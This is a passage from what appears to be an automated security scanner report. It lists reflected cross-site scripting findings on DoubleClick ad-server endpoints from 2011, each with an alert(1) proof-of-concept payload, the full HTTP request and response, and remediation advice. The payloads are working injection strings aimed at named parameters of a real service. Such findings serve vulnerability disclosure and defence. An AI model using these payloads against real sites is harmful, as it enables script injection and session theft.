GET /adi/N5398.Xplus1/B5108850.11;sz=300x250;click=http://ad.doubleclick.net/click%3Bh%3Dv8/3ab0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=4427690294444"-alert(1)-"03f8e6c6ad9&_d=17174392&_pm=52786&_pn=17177865&redirect=;ord=5400990? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/x1.rtb/allstate/poem1;sz=300x250;click=http://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;u=17177865;ord=5599727? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:39:21 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7625
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... %3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=4427690294444"-alert(1)-"03f8e6c6ad9&_d=17174392&_pm=52786&_pn=17177865&redirect=https://quote.allstate.com?quote=PQ&cid=BAC-Xplus1&att=58017283;39858222&&TFN=8664972899&Campaign=222230000010575"); var fscUrl = url; var fscUrlClickTagFou ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86027"-alert(1)-"6b2c46a2071 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.Xplus1/B5108850.11;sz=300x250;click=http://ad.doubleclick.net/click%3Bh%3Dv8/3ab0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==86027"-alert(1)-"6b2c46a2071&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;ord=5400990? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/x1.rtb/allstate/poem1;sz=300x250;click=http://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;u=17177865;ord=5599727? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:38:29 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7157
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... doubleclick.net/click%3Bh%3Dv8/3ab0/f/9f/%2a/p%3B234368221%3B0-0%3B0%3B58255351%3B4307-300/250%3B39970650/39988437/1%3Bu%3D17177865%3B~sscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==86027"-alert(1)-"6b2c46a2071&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=https://quote.allstate.com?quote=PQ&cid=BAC-Xplus1&att=58017283;39858209&&TFN=8664972899&Campaign= ...[SNIP]...
The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5db53"-alert(1)-"76f69ddc107 was submitted in the adurl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.valueclickmedia/B5108850.2;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=B1kbZi8RbTfw7pu2VB8yllOMO5uH86AHO6ZKVGvLJu_AUABABGAEgADgBUIDH4cQEYMmGo4fUo4AQggEXY2EtcHViLTE3MDMyODYwMDk0NzEzOTOgAZqUtewDsgEZd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbboBCjMwMHgyNTBfYXPIAQnaAUJodHRwOi8vd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbS93cC1jb250ZW50L3VwbG9hZHMvc21wX3BvcHVwLmh0bWyYAvoBwAIEyALch_YJqAMB6AO7AugDhgfoA6YD9QMAAADE9QMCAAAA&num=1&sig=AGiWqtwDLzzyq2gQekeKWbPJdRfURfQaOg&client=ca-pub-1703286009471393&adurl=5db53"-alert(1)-"76f69ddc107 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-1703286009471393&output=html&h=250&slotname=0920855204&w=300&lmt=1297833472&flash=10.2.154&url=http%3A%2F%2Fwww.ultimatedsoftware.com%2Fwp-content%2Fuploads%2Fsmp_popup.html&dt=1297859733908&shv=r20101117&jsv=r20110208&saldr=1&correlator=1297859733927&frm=0&adk=1414934403&ga_vid=531760948.1297859734&ga_sid=1297859734&ga_hid=1197328514&ga_fc=0&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3789038098&ref=http%3A%2F%2Fultimatedsoftware.com%2Fdetails%2Fsql-dork-2011.html&fu=0&ifi=1&dtd=42&xpc=XZgdy9OEke&p=http%3A//www.ultimatedsoftware.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 8220 Cache-Control: no-cache Pragma: no-cache Date: Wed, 16 Feb 2011 12:39:53 GMT Expires: Wed, 16 Feb 2011 12:39:53 GMT
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 9719 Template Name = 1. Banner Creative (Flash) - In Pag ...[SNIP]... RlZHNvZnR3YXJlLmNvbS93cC1jb250ZW50L3VwbG9hZHMvc21wX3BvcHVwLmh0bWyYAvoBwAIEyALch_YJqAMB6AO7AugDhgfoA6YD9QMAAADE9QMCAAAA&num=1&sig=AGiWqtwDLzzyq2gQekeKWbPJdRfURfQaOg&client=ca-pub-1703286009471393&adurl=5db53"-alert(1)-"76f69ddc107http://www.allstate.com/landingpages/no_sacrifices1.html?quote=PQ&cid=cid=cid=BAC-ValueClick-AA-CPA &att=57770140;39895363;&TFN=8004883776&Campaign=444440000011425"); var wmode = "opaque"; var bg = "" ...[SNIP]...
The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a3c7d"-alert(1)-"8b10a58350c was submitted in the ai parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.valueclickmedia/B5108850.2;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=B1kbZi8RbTfw7pu2VB8yllOMO5uH86AHO6ZKVGvLJu_AUABABGAEgADgBUIDH4cQEYMmGo4fUo4AQggEXY2EtcHViLTE3MDMyODYwMDk0NzEzOTOgAZqUtewDsgEZd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbboBCjMwMHgyNTBfYXPIAQnaAUJodHRwOi8vd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbS93cC1jb250ZW50L3VwbG9hZHMvc21wX3BvcHVwLmh0bWyYAvoBwAIEyALch_YJqAMB6AO7AugDhgfoA6YD9QMAAADE9QMCAAAAa3c7d"-alert(1)-"8b10a58350c&num=1&sig=AGiWqtwDLzzyq2gQekeKWbPJdRfURfQaOg&client=ca-pub-1703286009471393&adurl=;ord=366734258? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-1703286009471393&output=html&h=250&slotname=0920855204&w=300&lmt=1297833472&flash=10.2.154&url=http%3A%2F%2Fwww.ultimatedsoftware.com%2Fwp-content%2Fuploads%2Fsmp_popup.html&dt=1297859733908&shv=r20101117&jsv=r20110208&saldr=1&correlator=1297859733927&frm=0&adk=1414934403&ga_vid=531760948.1297859734&ga_sid=1297859734&ga_hid=1197328514&ga_fc=0&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3789038098&ref=http%3A%2F%2Fultimatedsoftware.com%2Fdetails%2Fsql-dork-2011.html&fu=0&ifi=1&dtd=42&xpc=XZgdy9OEke&p=http%3A//www.ultimatedsoftware.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:39:21 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 5161
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 9719 Template Name = 1. Banner Creative (Flash) - In Pag ...[SNIP]... Zd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbboBCjMwMHgyNTBfYXPIAQnaAUJodHRwOi8vd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbS93cC1jb250ZW50L3VwbG9hZHMvc21wX3BvcHVwLmh0bWyYAvoBwAIEyALch_YJqAMB6AO7AugDhgfoA6YD9QMAAADE9QMCAAAAa3c7d"-alert(1)-"8b10a58350c&num=1&sig=AGiWqtwDLzzyq2gQekeKWbPJdRfURfQaOg&client=ca-pub-1703286009471393&adurl=http%3a%2f%2fwww.allstate.com/landingpages/no_sacrifices3.html%3Fquote%3DPQ%26cid%3Dcid%3Dcid%3DBAC-ValueClick-AA-CPA+ ...[SNIP]...
The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fc07b"-alert(1)-"ccac19028db was submitted in the client parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.valueclickmedia/B5108850.2;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=B1kbZi8RbTfw7pu2VB8yllOMO5uH86AHO6ZKVGvLJu_AUABABGAEgADgBUIDH4cQEYMmGo4fUo4AQggEXY2EtcHViLTE3MDMyODYwMDk0NzEzOTOgAZqUtewDsgEZd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbboBCjMwMHgyNTBfYXPIAQnaAUJodHRwOi8vd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbS93cC1jb250ZW50L3VwbG9hZHMvc21wX3BvcHVwLmh0bWyYAvoBwAIEyALch_YJqAMB6AO7AugDhgfoA6YD9QMAAADE9QMCAAAA&num=1&sig=AGiWqtwDLzzyq2gQekeKWbPJdRfURfQaOg&client=ca-pub-1703286009471393fc07b"-alert(1)-"ccac19028db&adurl=;ord=366734258? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-1703286009471393&output=html&h=250&slotname=0920855204&w=300&lmt=1297833472&flash=10.2.154&url=http%3A%2F%2Fwww.ultimatedsoftware.com%2Fwp-content%2Fuploads%2Fsmp_popup.html&dt=1297859733908&shv=r20101117&jsv=r20110208&saldr=1&correlator=1297859733927&frm=0&adk=1414934403&ga_vid=531760948.1297859734&ga_sid=1297859734&ga_hid=1197328514&ga_fc=0&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3789038098&ref=http%3A%2F%2Fultimatedsoftware.com%2Fdetails%2Fsql-dork-2011.html&fu=0&ifi=1&dtd=42&xpc=XZgdy9OEke&p=http%3A//www.ultimatedsoftware.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:39:51 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 5161
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 9719 Template Name = 1. Banner Creative (Flash) - In Pag ...[SNIP]... sdGltYXRlZHNvZnR3YXJlLmNvbS93cC1jb250ZW50L3VwbG9hZHMvc21wX3BvcHVwLmh0bWyYAvoBwAIEyALch_YJqAMB6AO7AugDhgfoA6YD9QMAAADE9QMCAAAA&num=1&sig=AGiWqtwDLzzyq2gQekeKWbPJdRfURfQaOg&client=ca-pub-1703286009471393fc07b"-alert(1)-"ccac19028db&adurl=http%3a%2f%2fwww.allstate.com/landingpages/no_sacrifices3.html%3Fquote%3DPQ%26cid%3Dcid%3Dcid%3DBAC-ValueClick-AA-CPA++%26att%3D57770140%3B39895359%3B%26TFN%3D8004883776%26Campaign%3D44444000001 ...[SNIP]...
The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1900"-alert(1)-"b6fc1f1dba1 was submitted in the num parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.valueclickmedia/B5108850.2;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=B1kbZi8RbTfw7pu2VB8yllOMO5uH86AHO6ZKVGvLJu_AUABABGAEgADgBUIDH4cQEYMmGo4fUo4AQggEXY2EtcHViLTE3MDMyODYwMDk0NzEzOTOgAZqUtewDsgEZd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbboBCjMwMHgyNTBfYXPIAQnaAUJodHRwOi8vd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbS93cC1jb250ZW50L3VwbG9hZHMvc21wX3BvcHVwLmh0bWyYAvoBwAIEyALch_YJqAMB6AO7AugDhgfoA6YD9QMAAADE9QMCAAAA&num=1e1900"-alert(1)-"b6fc1f1dba1&sig=AGiWqtwDLzzyq2gQekeKWbPJdRfURfQaOg&client=ca-pub-1703286009471393&adurl=;ord=366734258? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-1703286009471393&output=html&h=250&slotname=0920855204&w=300&lmt=1297833472&flash=10.2.154&url=http%3A%2F%2Fwww.ultimatedsoftware.com%2Fwp-content%2Fuploads%2Fsmp_popup.html&dt=1297859733908&shv=r20101117&jsv=r20110208&saldr=1&correlator=1297859733927&frm=0&adk=1414934403&ga_vid=531760948.1297859734&ga_sid=1297859734&ga_hid=1197328514&ga_fc=0&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3789038098&ref=http%3A%2F%2Fultimatedsoftware.com%2Fdetails%2Fsql-dork-2011.html&fu=0&ifi=1&dtd=42&xpc=XZgdy9OEke&p=http%3A//www.ultimatedsoftware.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:39:31 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 8322
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 9719 Template Name = 1. Banner Creative (Flash) - In Pag ...[SNIP]... nVsdGltYXRlZHNvZnR3YXJlLmNvbboBCjMwMHgyNTBfYXPIAQnaAUJodHRwOi8vd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbS93cC1jb250ZW50L3VwbG9hZHMvc21wX3BvcHVwLmh0bWyYAvoBwAIEyALch_YJqAMB6AO7AugDhgfoA6YD9QMAAADE9QMCAAAA&num=1e1900"-alert(1)-"b6fc1f1dba1&sig=AGiWqtwDLzzyq2gQekeKWbPJdRfURfQaOg&client=ca-pub-1703286009471393&adurl=http%3a%2f%2fwww.allstate.com/landingpages/no_sacrifices1.html%3Fquote%3DPQ%26cid%3Dcid%3Dcid%3DBAC-ValueClick-AA-CPA++%26at ...[SNIP]...
The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 19570"-alert(1)-"fcb44d4a15 was submitted in the sig parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.valueclickmedia/B5108850.2;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=B1kbZi8RbTfw7pu2VB8yllOMO5uH86AHO6ZKVGvLJu_AUABABGAEgADgBUIDH4cQEYMmGo4fUo4AQggEXY2EtcHViLTE3MDMyODYwMDk0NzEzOTOgAZqUtewDsgEZd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbboBCjMwMHgyNTBfYXPIAQnaAUJodHRwOi8vd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbS93cC1jb250ZW50L3VwbG9hZHMvc21wX3BvcHVwLmh0bWyYAvoBwAIEyALch_YJqAMB6AO7AugDhgfoA6YD9QMAAADE9QMCAAAA&num=1&sig=AGiWqtwDLzzyq2gQekeKWbPJdRfURfQaOg19570"-alert(1)-"fcb44d4a15&client=ca-pub-1703286009471393&adurl=;ord=366734258? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-1703286009471393&output=html&h=250&slotname=0920855204&w=300&lmt=1297833472&flash=10.2.154&url=http%3A%2F%2Fwww.ultimatedsoftware.com%2Fwp-content%2Fuploads%2Fsmp_popup.html&dt=1297859733908&shv=r20101117&jsv=r20110208&saldr=1&correlator=1297859733927&frm=0&adk=1414934403&ga_vid=531760948.1297859734&ga_sid=1297859734&ga_hid=1197328514&ga_fc=0&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3789038098&ref=http%3A%2F%2Fultimatedsoftware.com%2Fdetails%2Fsql-dork-2011.html&fu=0&ifi=1&dtd=42&xpc=XZgdy9OEke&p=http%3A//www.ultimatedsoftware.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:39:41 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 5159
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 9719 Template Name = 1. Banner Creative (Flash) - In Pag ...[SNIP]... NTBfYXPIAQnaAUJodHRwOi8vd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbS93cC1jb250ZW50L3VwbG9hZHMvc21wX3BvcHVwLmh0bWyYAvoBwAIEyALch_YJqAMB6AO7AugDhgfoA6YD9QMAAADE9QMCAAAA&num=1&sig=AGiWqtwDLzzyq2gQekeKWbPJdRfURfQaOg19570"-alert(1)-"fcb44d4a15&client=ca-pub-1703286009471393&adurl=http%3a%2f%2fwww.allstate.com/landingpages/no_sacrifices3.html%3Fquote%3DPQ%26cid%3Dcid%3Dcid%3DBAC-ValueClick-AA-CPA++%26att%3D57770140%3B39895359%3B%26TFN%3D8004 ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f42d4"-alert(1)-"8b68863c110 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5398.valueclickmedia/B5108850.2;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=lf42d4"-alert(1)-"8b68863c110&ai=B1kbZi8RbTfw7pu2VB8yllOMO5uH86AHO6ZKVGvLJu_AUABABGAEgADgBUIDH4cQEYMmGo4fUo4AQggEXY2EtcHViLTE3MDMyODYwMDk0NzEzOTOgAZqUtewDsgEZd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbboBCjMwMHgyNTBfYXPIAQnaAUJodHRwOi8vd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbS93cC1jb250ZW50L3VwbG9hZHMvc21wX3BvcHVwLmh0bWyYAvoBwAIEyALch_YJqAMB6AO7AugDhgfoA6YD9QMAAADE9QMCAAAA&num=1&sig=AGiWqtwDLzzyq2gQekeKWbPJdRfURfQaOg&client=ca-pub-1703286009471393&adurl=;ord=366734258? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-1703286009471393&output=html&h=250&slotname=0920855204&w=300&lmt=1297833472&flash=10.2.154&url=http%3A%2F%2Fwww.ultimatedsoftware.com%2Fwp-content%2Fuploads%2Fsmp_popup.html&dt=1297859733908&shv=r20101117&jsv=r20110208&saldr=1&correlator=1297859733927&frm=0&adk=1414934403&ga_vid=531760948.1297859734&ga_sid=1297859734&ga_hid=1197328514&ga_fc=0&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3789038098&ref=http%3A%2F%2Fultimatedsoftware.com%2Fdetails%2Fsql-dork-2011.html&fu=0&ifi=1&dtd=42&xpc=XZgdy9OEke&p=http%3A//www.ultimatedsoftware.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:39:11 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 5161
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 9719 Template Name = 1. Banner Creative (Flash) - In Pag ...[SNIP]... = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ab0/f/1e4/%2a/y%3B233974983%3B0-0%3B0%3B57770140%3B4307-300/250%3B39895359/39913146/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=lf42d4"-alert(1)-"8b68863c110&ai=B1kbZi8RbTfw7pu2VB8yllOMO5uH86AHO6ZKVGvLJu_AUABABGAEgADgBUIDH4cQEYMmGo4fUo4AQggEXY2EtcHViLTE3MDMyODYwMDk0NzEzOTOgAZqUtewDsgEZd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbboBCjMwMHgyNTBfYXPIAQnaAUJodHRwOi8vd3d3 ...[SNIP]...
The value of the ;ptype request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4166c'%3balert(1)//c159bb24186 was submitted in the ;ptype parameter. This input was echoed as 4166c';alert(1)//c159bb24186 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/trb.wreg/hp;;ptype=4166c'%3balert(1)//c159bb24186 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.wreg.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 309 Cache-Control: no-cache Pragma: no-cache Date: Wed, 16 Feb 2011 13:18:35 GMT Expires: Wed, 16 Feb 2011 13:18:35 GMT
2.17. http://ad.doubleclick.net/adj/trb.wreg/hp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net
Path:
/adj/trb.wreg/hp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ea6c5'-alert(1)-'3eb0db47e49 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
